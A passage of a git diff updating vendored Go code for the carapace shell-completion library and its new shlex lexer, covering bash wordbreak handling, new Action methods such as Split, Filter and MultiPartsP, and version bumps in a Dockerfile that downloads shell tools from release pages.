TokenSlice) WordbreakPrefix() string { + found := false + prefix := "" + + last := t[len(t)-1] + switch last.State { + case QUOTING_STATE, QUOTING_ESCAPING_STATE, ESCAPING_QUOTED_STATE: + // Seems bash handles the last opening quote as wordbreak when in quoting state. + // So add value up to last opening quote to prefix. + found = true + prefix = last.Value[:last.WordbreakIndex] + } + + for i := len(t) - 2; i >= 0; i-- { + token := t[i] + if !token.adjoins(t[i+1]) { + break + } + + if token.Type == WORDBREAK_TOKEN { + found = true + } + + if found { + prefix = token.Value + prefix + } + } + return prefix +} diff --git a/vendor/github.com/rsteube/carapace-shlex/wordbreak.go b/vendor/github.com/rsteube/carapace-shlex/wordbreak.go new file mode 100644 index 0000000000..8bfcd0d620 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/wordbreak.go @@ -0,0 +1,122 @@ +package shlex + +import "encoding/json" + +const BASH_WORDBREAKS = " \t\r\n" + `"'><=;|&(:` + +type WordbreakType int + +const ( + WORDBREAK_UNKNOWN WordbreakType = iota + // https://www.gnu.org/software/bash/manual/html_node/Redirections.html + WORDBREAK_REDIRECT_INPUT + WORDBREAK_REDIRECT_OUTPUT + WORDBREAK_REDIRECT_OUTPUT_APPEND + WORDBREAK_REDIRECT_OUTPUT_BOTH + WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND + WORDBREAK_REDIRECT_INPUT_STRING + WORDBREAK_REDIRECT_INPUT_DUPLICATE + WORDBREAK_REDIRECT_INPUT_OUTPUT + // https://www.gnu.org/software/bash/manual/html_node/Pipelines.html + WORDBREAK_PIPE + WORDBREAK_PIPE_WITH_STDERR + // https://www.gnu.org/software/bash/manual/html_node/Lists.html) + WORDBREAK_LIST_ASYNC + WORDBREAK_LIST_SEQUENTIAL + WORDBREAK_LIST_AND + WORDBREAK_LIST_OR + // COMP_WORDBREAKS + WORDBREAK_CUSTOM +) + +var wordbreakTypes = map[WordbreakType]string{ + WORDBREAK_UNKNOWN: "WORDBREAK_UNKNOWN", + WORDBREAK_REDIRECT_INPUT: "WORDBREAK_REDIRECT_INPUT", + WORDBREAK_REDIRECT_OUTPUT: "WORDBREAK_REDIRECT_OUTPUT", + WORDBREAK_REDIRECT_OUTPUT_APPEND: "WORDBREAK_REDIRECT_OUTPUT_APPEND", + WORDBREAK_REDIRECT_OUTPUT_BOTH: "WORDBREAK_REDIRECT_OUTPUT_BOTH", + WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND: "WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND", + WORDBREAK_REDIRECT_INPUT_STRING: "WORDBREAK_REDIRECT_INPUT_STRING", + WORDBREAK_REDIRECT_INPUT_DUPLICATE: "WORDBREAK_REDIRECT_INPUT_DUPLICATE", + WORDBREAK_REDIRECT_INPUT_OUTPUT: "WORDBREAK_REDIRECT_INPUT_OUTPUT", + WORDBREAK_PIPE: "WORDBREAK_PIPE", + WORDBREAK_PIPE_WITH_STDERR: "WORDBREAK_PIPE_WITH_STDERR", + WORDBREAK_LIST_ASYNC: "WORDBREAK_LIST_ASYNC", + WORDBREAK_LIST_SEQUENTIAL: "WORDBREAK_LIST_SEQUENTIAL", + WORDBREAK_LIST_AND: "WORDBREAK_LIST_AND", + WORDBREAK_LIST_OR: "WORDBREAK_LIST_OR", + WORDBREAK_CUSTOM: "WORDBREAK_CUSTOM", +} + +func (w WordbreakType) MarshalJSON() ([]byte, error) { + return json.Marshal(wordbreakTypes[w]) +} + +func (w WordbreakType) IsPipelineDelimiter() bool { + switch w { + case + WORDBREAK_PIPE, + WORDBREAK_PIPE_WITH_STDERR, + WORDBREAK_LIST_ASYNC, + WORDBREAK_LIST_SEQUENTIAL, + WORDBREAK_LIST_AND, + WORDBREAK_LIST_OR: + return true + default: + return false + } +} + +func (w WordbreakType) IsRedirect() bool { + switch w { + case + WORDBREAK_REDIRECT_INPUT, + WORDBREAK_REDIRECT_OUTPUT, + WORDBREAK_REDIRECT_OUTPUT_APPEND, + WORDBREAK_REDIRECT_OUTPUT_BOTH, + WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND, + WORDBREAK_REDIRECT_INPUT_STRING, + WORDBREAK_REDIRECT_INPUT_DUPLICATE, + WORDBREAK_REDIRECT_INPUT_OUTPUT: + return true + default: + return false + } + +} + +func wordbreakType(t Token) WordbreakType { + switch t.RawValue { + case "<": + return WORDBREAK_REDIRECT_INPUT + case ">": + return WORDBREAK_REDIRECT_OUTPUT + case ">>": + return WORDBREAK_REDIRECT_OUTPUT_APPEND + case "&>", ">&": + return WORDBREAK_REDIRECT_OUTPUT_BOTH + case "&>>": + return WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND + case "<<<": + return WORDBREAK_REDIRECT_INPUT_STRING + case "<&": + return WORDBREAK_REDIRECT_INPUT_DUPLICATE + case "<>": + return WORDBREAK_REDIRECT_INPUT_OUTPUT + case "|": + return WORDBREAK_PIPE + case "|&": + return WORDBREAK_PIPE_WITH_STDERR + case "&": + return WORDBREAK_LIST_ASYNC + case ";": + return WORDBREAK_LIST_SEQUENTIAL + case "&&": + return WORDBREAK_LIST_AND + case "||": + return WORDBREAK_LIST_OR + default: + // TODO check COMP_WORDBREAKS -> WORDBREAK_OTHER + return WORDBREAK_UNKNOWN + } +} diff --git a/vendor/github.com/rsteube/carapace/.gitignore b/vendor/github.com/rsteube/carapace/.gitignore index 39959f6a91..592ae4f2d8 100644 --- a/vendor/github.com/rsteube/carapace/.gitignore +++ b/vendor/github.com/rsteube/carapace/.gitignore @@ -1,4 +1,9 @@ -.vscode -example/example caraparse/caraparse +.cover docs/book +example/cmd/_test_files/*.txt +example/example +example-nonposix/example-nonposix +integration.cov +unit.cov +.vscode diff --git a/vendor/github.com/rsteube/carapace/.goreleaser.yml b/vendor/github.com/rsteube/carapace/.goreleaser.yml index 1a57ff365f..5891c22a22 100644 --- a/vendor/github.com/rsteube/carapace/.goreleaser.yml +++ b/vendor/github.com/rsteube/carapace/.goreleaser.yml @@ -21,13 +21,10 @@ builds: main: ./example-nonposix binary: example-nonposix archives: - - replacements: - darwin: Darwin - linux: Linux - windows: Windows - 386: i386 - amd64: x86_64 - name_template: "example_{{ .Version }}_{{ .Os }}_{{ .Arch }}" + - name_template: 'example_{{ .Os }}_{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}' + format_overrides: + - goos: windows + format: zip checksum: name_template: 'checksums.txt' snapshot: @@ -38,3 +35,5 @@ changelog: exclude: - '^docs:' - '^test:' +release: + prerelease: auto \ No newline at end of file diff --git a/vendor/github.com/rsteube/carapace/Dockerfile b/vendor/github.com/rsteube/carapace/Dockerfile index 91698fa610..15d52548af 100644 --- a/vendor/github.com/rsteube/carapace/Dockerfile +++ b/vendor/github.com/rsteube/carapace/Dockerfile @@ -1,9 +1,9 @@ -FROM golang:1.20-bullseye as base +FROM golang:bookworm as base LABEL org.opencontainers.image.source https://github.com/rsteube/carapace USER root FROM base as bat -ARG version=0.22.1 +ARG version=0.24.0 RUN curl -L https://github.com/sharkdp/bat/releases/download/v${version}/bat-v${version}-x86_64-unknown-linux-gnu.tar.gz \ | tar -C /usr/local/bin/ --strip-components=1 -xvz bat-v${version}-x86_64-unknown-linux-gnu/bat \ && chmod +x /usr/local/bin/bat @@ -14,12 +14,12 @@ RUN git clone --recursive https://github.com/akinomyoga/ble.sh.git \ && make -C ble.sh FROM base as elvish -ARG version=0.18.0 +ARG version=0.19.2 RUN curl https://dl.elv.sh/linux-amd64/elvish-v${version}.tar.gz | tar -xvz \ && mv elvish-* /usr/local/bin/elvish FROM base as goreleaser -ARG version=1.15.1 +ARG version=1.21.2 RUN curl -L https://github.com/goreleaser/goreleaser/releases/download/v${version}/goreleaser_Linux_x86_64.tar.gz | tar -xvz goreleaser \ && mv goreleaser /usr/local/bin/goreleaser @@ -33,12 +33,12 @@ FROM rsteube/ion-poc as ion-poc # && sudo make update-shells prefix=/usr FROM base as nushell -ARG version=0.75.0 +ARG version=0.85.0 RUN curl -L https://github.com/nushell/nushell/releases/download/${version}/nu-${version}-x86_64-unknown-linux-gnu.tar.gz | tar -xvz \ && mv nu-${version}-x86_64-unknown-linux-gnu/nu* /usr/local/bin FROM base as oil -ARG version=0.14.0 +ARG version=0.18.0 RUN apt-get update && apt-get install -y libreadline-dev RUN curl https://www.oilshell.org/download/oil-${version}.tar.gz | tar -xvz \ && cd oil-*/ \ @@ -47,38 +47,38 @@ RUN curl https://www.oilshell.org/download/oil-${version}.tar.gz | tar -xvz \ && ./install FROM base as starship -ARG version=1.12.0 +ARG version=1.16.0 RUN wget -qO- "https://github.com/starship/starship/releases/download/v${version}/starship-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz starship \ && mv starship /usr/local/bin/ FROM base as vivid -ARG version=0.8.0 +ARG version=0.9.0 RUN wget -qO- "https://github.com/sharkdp/vivid/releases/download/v${version}/vivid-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz vivid-v${version}-x86_64-unknown-linux-gnu/vivid \ && mv vivid-v${version}-x86_64-unknown-linux-gnu/vivid /usr/local/bin/ FROM base as mdbook -ARG version=0.4.25 -RUN curl -L "https://github.com/rust-lang/mdBook/releases/download/v${version}/mdbook-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook \ - && curl -L "https://github.com/Michael-F-Bryan/mdbook-linkcheck/releases/download/v0.7.0/mdbook-linkcheck-v0.7.0-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook-linkcheck \ - && mv mdbook* /usr/local/bin/ +ARG version=0.4.35 +RUN apt-get update && apt-get install -y unzip \ + && curl -L "https://github.com/rust-lang/mdBook/releases/download/v${version}/mdbook-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook \ + && wget -q "https://github.com/Michael-F-Bryan/mdbook-linkcheck/releases/download/v0.7.7/mdbook-linkcheck.x86_64-unknown-linux-gnu.zip" \ + && unzip mdbook-linkcheck.x86_64-unknown-linux-gnu.zip mdbook-linkcheck \ + && chmod +x mdbook-linkcheck \ + && mv mdbook mdbook-linkcheck /usr/local/bin/ FROM base -RUN apt-get update && apt-get install -y libicu67 -RUN wget -q https://github.com/PowerShell/PowerShell/releases/download/v7.3.0/powershell_7.3.0-1.deb_amd64.deb\ - && dpkg -i powershell_7.3.0-1.deb_amd64.deb \ - && rm powershell_7.3.0-1.deb_amd64.deb +RUN apt-get update && apt-get install -y libicu72 +RUN wget -q https://github.com/PowerShell/PowerShell/releases/download/v7.3.8/powershell_7.3.8-1.deb_amd64.deb\ + && dpkg -i powershell_7.3.8-1.deb_amd64.deb \ + && rm powershell_7.3.8-1.deb_amd64.deb RUN apt-get update \ && apt-get install -y fish \ elvish \ - python3-pip \ + expect \ shellcheck \ tcsh \ - zsh \ - expect - -RUN pip3 install --no-cache-dir --disable-pip-version-check xonsh prompt_toolkit \ - && ln -s $(which xonsh) /usr/bin/xonsh + xonsh \ + zsh RUN pwsh -Command "Install-Module PSScriptAnalyzer -Scope AllUsers -Force" diff --git a/vendor/github.com/rsteube/carapace/README.md b/vendor/github.com/rsteube/carapace/README.md index 8344123bbe..22bf7a0833 100644 --- a/vendor/github.com/rsteube/carapace/README.md +++ b/vendor/github.com/rsteube/carapace/README.md @@ -47,9 +47,12 @@ See [carapace-bin](https://github.com/rsteube/carapace-bin) for examples. - [carapace-bin](https://github.com/rsteube/carapace-bin) multi-shell multi-command argument completer - [carapace-bridge](https://github.com/rsteube/carapace-bridge) completion bridge - [carapace-pflag](https://github.com/rsteube/carapace-pflag) Drop-in replacement for spf13/pflag with support for non-posix variants +- [carapace-shlex](https://github.com/rsteube/carapace-shlex) simple shell lexer - [carapace-spec](https://github.com/rsteube/carapace-spec) define simple completions using a spec file - [carapace-spec-clap](https://github.com/rsteube/carapace-spec-clap) spec generation for clap-rs/clap +- [carapace-spec-kingpin](https://github.com/rsteube/carapace-spec-kingpin) spec generation for alecthomas/kingpin - [carapace-spec-kong](https://github.com/rsteube/carapace-spec-kong) spec generation for alecthomas/kong +- [carapace-spec-man](https://github.com/rsteube/carapace-spec-man) spec generation for manpages - [carapace-spec-urfavecli](https://github.com/rsteube/carapace-spec-urfavecli) spec generation for urfave/cli [cobra]:https://github.com/spf13/cobra diff --git a/vendor/github.com/rsteube/carapace/action.go b/vendor/github.com/rsteube/carapace/action.go index 4ad418d106..eba6722614 100644 --- a/vendor/github.com/rsteube/carapace/action.go +++ b/vendor/github.com/rsteube/carapace/action.go @@ -3,13 +3,18 @@ package carapace import ( "fmt" "os" + "regexp" "runtime" + "strings" "time" + shlex "github.com/rsteube/carapace-shlex" "github.com/rsteube/carapace/internal/cache" "github.com/rsteube/carapace/internal/common" pkgcache "github.com/rsteube/carapace/pkg/cache" + "github.com/rsteube/carapace/pkg/match" "github.com/rsteube/carapace/pkg/style" + pkgtraverse "github.com/rsteube/carapace/pkg/traverse" ) // Action indicates how to complete a flag or positional argument. @@ -52,6 +57,57 @@ func (a Action) Cache(timeout time.Duration, keys ...pkgcache.Key) Action { return a } +// Chdir changes the current working directory to the named directory for the duration of invocation. +func (a Action) Chdir(dir string) Action { + return ActionCallback(func(c Context) Action { + abs, err := c.Abs(dir) + if err != nil { + return ActionMessage(err.Error()) + } + if info, err := os.Stat(abs); err != nil { + return ActionMessage(err.Error()) + } else if !info.IsDir() { + return ActionMessage("not a directory: %v", abs) + } + c.Dir = abs + return a.Invoke(c).ToA() + }) +} + +// ChdirF is like Chdir but uses a function. +func (a Action) ChdirF(f func(tc pkgtraverse.Context) (string, error)) Action { + return ActionCallback(func(c Context) Action { + newDir, err := f(c) + if err != nil { + return ActionMessage(err.Error()) + } + return a.Chdir(newDir) + }) +} + +// Filter filters given values. +// +// carapace.ActionValues("A", "B", "C").Filter("B") // ["A", "C"] +func (a Action) Filter(values ...string) Action { + return ActionCallback(func(c Context) Action { + return a.Invoke(c).Filter(values...).ToA() + }) +} + +// FilterArgs filters Context.Args. +func (a Action) FilterArgs() Action { + return ActionCallback(func(c Context) Action { + return a.Filter(c.Args...) + }) +} + +// FilterArgs filters Context.Parts. +func (a Action) FilterParts() Action { + return ActionCallback(func(c Context) Action { + return a.Filter(c.Parts...) + }) +} + // Invoke executes the callback of an action if it exists (supports nesting). func (a Action) Invoke(c Context) InvokedAction { if c.Args == nil { @@ -72,6 +128,95 @@ func (a Action) Invoke(c Context) InvokedAction { return InvokedAction{a} } +// List wraps the Action in an ActionMultiParts with given divider. +func (a Action) List(divider string) Action { + return ActionMultiParts(divider, func(c Context) Action { + return a.Invoke(c).ToA().NoSpace() + }) +} + +// MultiParts splits values of an Action by given dividers and completes each segment separately. +func (a Action) MultiParts(dividers ...string) Action { + return ActionCallback(func(c Context) Action { + return a.Invoke(c).ToMultiPartsA(dividers...) + }) +} + +// MultiPartsP is like MultiParts but with placeholders. +func (a Action) MultiPartsP(delimiter string, pattern string, f func(placeholder string, matches map[string]string) Action) Action { + return ActionCallback(func(c Context) Action { + invoked := a.Invoke(c) + + return ActionMultiParts(delimiter, func(c Context) Action { + rPlaceholder := regexp.MustCompile(pattern) + matchedData := make(map[string]string) + matchedSegments := make(map[string]common.RawValue) + staticMatches := make(map[int]bool) + + path: + for index, value := range invoked.rawValues { + segments := strings.Split(value.Value, delimiter) + segment: + for index, segment := range segments { + if index > len(c.Parts)-1 { + break segment + } else { + if segment != c.Parts[index] { + if !rPlaceholder.MatchString(segment) { + continue path // skip this path as it doesn't match and is not a placeholder + } else { + matchedData[segment] = c.Parts[index] // store entered data for placeholder (overwrite if duplicate) + } + } else { + staticMatches[index] = true // static segment matches so placeholders should be ignored for this index + } + } + } + + if len(segments) < len(c.Parts)+1 { + continue path // skip path as it is shorter than what was entered (must be after staticMatches being set) + } + + for key := range staticMatches { + if segments[key] != c.Parts[key] { + continue path // skip this path as it has a placeholder where a static segment was matched + } + } + + // store segment as path matched so far and this is currently being completed + if len(segments) == (len(c.Parts) + 1) { + matchedSegments[segments[len(c.Parts)]] = invoked.rawValues[index] + } else { + matchedSegments[segments[len(c.Parts)]+delimiter] = common.RawValue{} + } + } + + actions := make([]Action, 0, len(matchedSegments)) + for key, value := range matchedSegments { + if trimmedKey := strings.TrimSuffix(key, delimiter); rPlaceholder.MatchString(trimmedKey) { + suffix := "" + if strings.HasSuffix(key, delimiter) { + suffix = delimiter + } + actions = append(actions, ActionCallback(func(c Context) Action { + invoked := f(trimmedKey, matchedData).Invoke(c).Suffix(suffix) + for index := range invoked.rawValues { + invoked.rawValues[index].Display += suffix + } + return invoked.ToA() + })) + } else { + actions = append(actions, ActionStyledValuesDescribed(key, value.Description, value.Style)) // TODO tag,.. + } + } + + a := Batch(actions...).ToA() + a.meta.Merge(invoked.meta) + return a + }) + }) +} + // NoSpace disables space suffix for given characters (or all if none are given). func (a Action) NoSpace(suffixes ...rune) Action { return ActionCallback(func(c Context) Action { @@ -83,20 +228,104 @@ func (a Action) NoSpace(suffixes ...rune) Action { }) } -// Usage sets the usage. -func (a Action) Usage(usage string, args ...interface{}) Action { - return a.UsageF(func() string { - return fmt.Sprintf(usage, args...) +// Prefix adds a prefix to values (only the ones inserted, not the display values). +// +// carapace.ActionValues("melon", "drop", "fall").Prefix("water") +func (a Action) Prefix(prefix string) Action { + return ActionCallback(func(c Context) Action { + switch { + case match.HasPrefix(c.Value, prefix): + c.Value = match.TrimPrefix(c.Value, prefix) + case match.HasPrefix(prefix, c.Value): + c.Value = "" + default: + return ActionValues() + } + return a.Invoke(c).Prefix(prefix).ToA() }) } -// Usage sets the usage using a function. -func (a Action) UsageF(f func() string) Action { +// Retain retains given values. +// +// carapace.ActionValues("A", "B", "C").Retain("A", "C") // ["A", "C"] +func (a Action) Retain(values ...string) Action { return ActionCallback(func(c Context) Action { - if usage := f(); usage != "" { - a.meta.Usage = usage + return a.Invoke(c).Retain(values...).ToA() + }) +} + +// Shift shifts positional arguments left `n` times. +func (a Action) Shift(n int) Action { + return ActionCallback(func(c Context) Action { + switch { + case n < 0: + return ActionMessage("invalid argument [ActionShift]: %v", n) + case len(c.Args) < n: + c.Args = []string{} + default: + c.Args = c.Args[n:] } - return a + return a.Invoke(c).ToA() + }) +} + +// Split splits `Context.Value` lexicographically and replaces `Context.Args` with the tokens. +func (a Action) Split() Action { + return a.split(false) +} + +// SplitP is like Split but supports pipelines. +func (a Action) SplitP() Action { + return a.split(true) +} + +func (a Action) split(pipelines bool) Action { + return ActionCallback(func(c Context) Action { + tokens, err := shlex.Split(c.Value) + if err != nil { + return ActionMessage(err.Error()) + } + + var context Context + if pipelines { + tokens = tokens.CurrentPipeline() + context = NewContext(tokens.FilterRedirects().Words().Strings()...) + } else { + context = NewContext(tokens.Words().Strings()...) + } + + originalValue := c.Value + prefix := originalValue[:tokens.Words().CurrentToken().Index] + c.Args = context.Args + c.Parts = []string{} + c.Value = context.Value + + if pipelines { // support redirects + if len(tokens) > 1 && tokens[len(tokens)-2].WordbreakType.IsRedirect() { + LOG.Printf("completing files for redirect arg %#v", tokens.Words().CurrentToken().Value) + prefix = originalValue[:tokens.CurrentToken().Index] + c.Value = tokens.CurrentToken().Value + a = ActionFiles() + } + } + + invoked := a.Invoke(c) + for index, value := range invoked.rawValues { + if !invoked.meta.Nospace.Matches(value.Value) || strings.Contains(value.Value, " ") { // TODO special characters + switch tokens.CurrentToken().State { + case shlex.QUOTING_ESCAPING_STATE: + invoked.rawValues[index].Value = fmt.Sprintf(`"%v"`, strings.ReplaceAll(value.Value, `"`, `\"`)) + case shlex.QUOTING_STATE: + invoked.rawValues[index].Value = fmt.Sprintf(`'%v'`, strings.ReplaceAll(value.Value, `'`, `'"'"'`)) + default: + invoked.rawValues[index].Value = strings.Replace(value.Value, ` `, `\ `, -1) + } + } + if !invoked.meta.Nospace.Matches(value.Value) { + invoked.rawValues[index].Value += " " + } + } + return invoked.Prefix(prefix).ToA().NoSpace() }) } @@ -110,19 +339,6 @@ func (a Action) Style(s string) Action { }) } -// Style sets the style using a reference. -// -// ActionValues("value").StyleR(&style.Carapace.Value) -// ActionValues("description").StyleR(&style.Carapace.Value) -func (a Action) StyleR(s *string) Action { - return ActionCallback(func(c Context) Action { - if s != nil { - return a.Style(*s) - } - return a - }) -} - // Style sets the style using a function. // // ActionValues("dir/", "test.txt").StyleF(style.ForPathExt) @@ -137,44 +353,25 @@ func (a Action) StyleF(f func(s string, sc style.Context) string) Action { }) } -// Tag sets the tag. -// -// ActionValues("192.168.1.1", "127.0.0.1").Tag("interfaces"). -func (a Action) Tag(tag string) Action { - return a.TagF(func(value string) string { - return tag - }) -} - -// Tag sets the tag using a function. +// Style sets the style using a reference. // -// ActionValues("192.168.1.1", "127.0.0.1").TagF(func(value string) string { -// return "interfaces" -// }) -func (a Action) TagF(f func(value string) string) Action { +// ActionValues("value").StyleR(&style.Carapace.Value) +// ActionValues("description").StyleR(&style.Carapace.Value) +func (a Action) StyleR(s *string) Action { return ActionCallback(func(c Context) Action { - invoked := a.Invoke(c) - for index, v := range invoked.rawValues { - invoked.rawValues[index].Tag = f(v.Value) + if s != nil { + return a.Style(*s) } - return invoked.ToA() + return a }) } -// Chdir changes the current working directory to the named directory for the duration of invocation. -func (a Action) Chdir(dir string) Action { +// Suffix adds a suffx to values (only the ones inserted, not the display values). +// +// carapace.ActionValues("apple", "melon", "orange").Suffix("juice") +func (a Action) Suffix(suffix string) Action { return ActionCallback(func(c Context) Action { - abs, err := c.Abs(dir) - if err != nil { - return ActionMessage(err.Error()) - } - if info, err := os.Stat(abs); err != nil { - return ActionMessage(err.Error()) - } else if !info.IsDir() { - return ActionMessage("not a directory: %v", abs) - } - c.Dir = abs - return a.Invoke(c).ToA() + return a.Invoke(c).Suffix(suffix).ToA() }) } @@ -189,47 +386,27 @@ func (a Action) Suppress(expr ...string) Action { }) } -// MultiParts splits values of an Action by given dividers and completes each segment separately. -func (a Action) MultiParts(dividers ...string) Action { - return ActionCallback(func(c Context) Action { - return a.Invoke(c).ToMultiPartsA(dividers...) - }) -} - -// List wraps the Action in an ActionMultiParts with given divider. -func (a Action) List(divider string) Action { - return ActionMultiParts(divider, func(c Context) Action { - return a.Invoke(c).ToA().NoSpace() - }) -} - -// UniqueList wraps the Action in an ActionMultiParts with given divider. -func (a Action) UniqueList(divider string) Action { - return ActionMultiParts(divider, func(c Context) Action { - noSpace := make([]rune, 0) - if runes := []rune(divider); len(runes) > 0 { - noSpace = append(noSpace, runes[len(runes)-1]) - } - noSpace = append(noSpace, []rune(a.meta.Nospace.String())...) - return a.Invoke(c).Filter(c.Parts).ToA().NoSpace([]rune(noSpace)...) - }) -} - -// Prefix adds a prefix to values (only the ones inserted, not the display values). +// Tag sets the tag. // -// carapace.ActionValues("melon", "drop", "fall").Prefix("water") -func (a Action) Prefix(prefix string) Action { - return ActionCallback(func(c Context) Action { - return a.Invoke(c).Prefix(prefix).ToA() +// ActionValues("192.168.1.1", "127.0.0.1").Tag("interfaces"). +func (a Action) Tag(tag string) Action { + return a.TagF(func(value string) string { + return tag }) } -// Suffix adds a suffx to values (only the ones inserted, not the display values). +// Tag sets the tag using a function. // -// carapace.ActionValues("apple", "melon", "orange").Suffix("juice") -func (a Action) Suffix(suffix string) Action { +// ActionValues("192.168.1.1", "127.0.0.1").TagF(func(value string) string { +// return "interfaces" +// }) +func (a Action) TagF(f func(s string) string) Action { return ActionCallback(func(c Context) Action { - return a.Invoke(c).Suffix(suffix).ToA() + invoked := a.Invoke(c) + for index, v := range invoked.rawValues { + invoked.rawValues[index].Tag = f(v.Value) + } + return invoked.ToA() }) } @@ -257,3 +434,37 @@ func (a Action) Timeout(d time.Duration, alternative Action) Action { return result.ToA() }) } + +// UniqueList wraps the Action in an ActionMultiParts with given divider. +func (a Action) UniqueList(divider string) Action { + return ActionMultiParts(divider, func(c Context) Action { + return a.FilterParts().NoSpace() + }) +} + +// UniqueListF is like UniqueList but uses a function to transform values before filtering. +func (a Action) UniqueListF(divider string, f func(s string) string) Action { + return ActionMultiParts(divider, func(c Context) Action { + for i := range c.Parts { + c.Parts[i] = f(c.Parts[i]) + } + return a.Filter(c.Parts...).NoSpace() + }) +} + +// Usage sets the usage. +func (a Action) Usage(usage string, args ...interface{}) Action { + return a.UsageF(func() string { + return fmt.Sprintf(usage, args...) + }) +} + +// Usage sets the usage using a function. +func (a Action) UsageF(f func() string) Action { + return ActionCallback(func(c Context) Action { + if usage := f(); usage != "" { + a.meta.Usage = usage + } + return a + }) +} diff --git a/vendor/github.com/rsteube/carapace/carapace.go b/vendor/github.com/rsteube/carapace/carapace.go index 6573567f18..900691b89a 100644 --- a/vendor/github.com/rsteube/carapace/carapace.go +++ b/vendor/github.com/rsteube/carapace/carapace.go @@ -57,7 +57,7 @@ func (c Carapace) PositionalCompletion(action ...Action) { // PositionalAnyCompletion defines completion for any positional arguments not already defined. func (c Carapace) PositionalAnyCompletion(action Action) { - storage.get(c.cmd).positionalAny = action + storage.get(c.cmd).positionalAny = &action } // DashCompletion defines completion for positional arguments after dash (`--`) using a list of Actions. @@ -67,12 +67,16 @@ func (c Carapace) DashCompletion(action ...Action) { // DashAnyCompletion defines completion for any positional arguments after dash (`--`) not already defined. func (c Carapace) DashAnyCompletion(action Action) { - storage.get(c.cmd).dashAny = action + storage.get(c.cmd).dashAny = &action } // FlagCompletion defines completion for flags using a map consisting of name and Action. func (c Carapace) FlagCompletion(actions ActionMap) { - if e := storage.get(c.cmd); e.flag == nil { + e := storage.get(c.cmd) + e.flagMutex.Lock() + defer e.flagMutex.Unlock() + + if e.flag == nil { e.flag = actions } else { for name, action := range actions { @@ -81,18 +85,30 @@ func (c Carapace) FlagCompletion(actions ActionMap) { } } +const annotation_standalone = "carapace_standalone" + // Standalone prevents cobra defaults interfering with standalone mode (e.g. implicit help command). func (c Carapace) Standalone() { c.cmd.CompletionOptions = cobra.CompletionOptions{ DisableDefaultCmd: true, } - // TODO probably needs to be done for each subcommand - // TODO still needed? - if c.cmd.Flag("help") != nil { - c.cmd.Flags().Bool("help", false, "skip") - c.cmd.Flag("help").Hidden = true + + if c.cmd.Annotations == nil { + c.cmd.Annotations = make(map[string]string) } - c.cmd.SetHelpCommand(&cobra.Command{Hidden: true}) + c.cmd.Annotations[annotation_standalone] = "true" + + c.PreRun(func(cmd *cobra.Command, args []string) { + if f := cmd.Flag("help"); f == nil { + cmd.Flags().Bool("help", false, "") + cmd.Flag("help").Hidden = true + } else if f.Annotations != nil { + if _, ok := f.Annotations[cobra.FlagSetByCobraAnnotation]; ok { + cmd.Flag("help").Hidden = true + } + } + }) + c.cmd.SetHelpCommand(&cobra.Command{Use: "_carapace_help", Hidden: true, Deprecated: "fake help command to prevent default"}) } // Snippet creates completion script for given shell. diff --git a/vendor/github.com/rsteube/carapace/command.go b/vendor/github.com/rsteube/carapace/command.go index 6de00c4c84..4bd1ea8dc9 100644 --- a/vendor/github.com/rsteube/carapace/command.go +++ b/vendor/github.com/rsteube/carapace/command.go @@ -6,13 +6,13 @@ import ( "os" "strings" - "github.com/rsteube/carapace/internal/uid" + "github.com/rsteube/carapace/internal/spec" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" ) -func addCompletionCommand(cmd *cobra.Command) { - for _, c := range cmd.Commands() { +func addCompletionCommand(targetCmd *cobra.Command) { + for _, c := range targetCmd.Commands() { if c.Name() == "_carapace" { return } @@ -22,6 +22,7 @@ func addCompletionCommand(cmd *cobra.Command) { Use: "_carapace", Hidden: true, Run: func(cmd *cobra.Command, args []string) { + LOG.Print(strings.Repeat("-", 80)) LOG.Printf("%#v", os.Args) if len(args) > 2 && strings.HasPrefix(args[2], "_") { @@ -32,10 +33,16 @@ func addCompletionCommand(cmd *cobra.Command) { panic("missing parent command") // this should never happen } - if s, err := complete(cmd.Parent(), args); err != nil { - fmt.Fprintln(io.MultiWriter(cmd.OutOrStderr(), LOG.Writer()), err.Error()) + parentCmd := cmd.Parent() + if parentCmd.Annotations[annotation_standalone] == "true" { + // TODO how to handle an explicit `_carapace` command? + parentCmd.RemoveCommand(cmd) // don't complete local `_carapace` in standalone mode + } + + if s, err := complete(parentCmd, args); err != nil { + fmt.Fprintln(io.MultiWriter(parentCmd.OutOrStderr(), LOG.Writer()), err.Error()) } else { - fmt.Fprintln(io.MultiWriter(cmd.OutOrStdout(), LOG.Writer()), s) + fmt.Fprintln(io.MultiWriter(parentCmd.OutOrStdout(), LOG.Writer()), s) } }, FParseErrWhitelist: cobra.FParseErrWhitelist{ @@ -44,7 +51,7 @@ func addCompletionCommand(cmd *cobra.Command) { DisableFlagParsing: true, } - cmd.AddCommand(carapaceCmd) + targetCmd.AddCommand(carapaceCmd) Carapace{carapaceCmd}.PositionalCompletion( ActionStyledValues( @@ -57,19 +64,23 @@ func addCompletionCommand(cmd *cobra.Command) { "nushell", "#29d866", "oil", "#373a36", "powershell", "#e8a16f", - "spec", style.Default, "tcsh", "#412f09", "xonsh", "#a8ffa9", "zsh", "#efda53", ), - ActionValues(cmd.Root().Name()), + ActionValues(targetCmd.Root().Name()), ) Carapace{carapaceCmd}.PositionalAnyCompletion( ActionCallback(func(c Context) Action { args := []string{"_carapace", "export", ""} args = append(args, c.Args[2:]...) args = append(args, c.Value) - return ActionExecCommand(uid.Executable(), args...)(func(output []byte) Action { + + executable, err := os.Executable() + if err != nil { + return ActionMessage(err.Error()) + } + return ActionExecCommand(executable, args...)(func(output []byte) Action { // TODO does not work with sandbox tests for `example _carapace ...` if string(output) == "" { return ActionValues() } @@ -78,6 +89,14 @@ func addCompletionCommand(cmd *cobra.Command) { }), ) + specCmd := &cobra.Command{ + Use: "spec", + Run: func(cmd *cobra.Command, args []string) { + fmt.Fprint(cmd.OutOrStdout(), spec.Spec(targetCmd)) + }, + } + 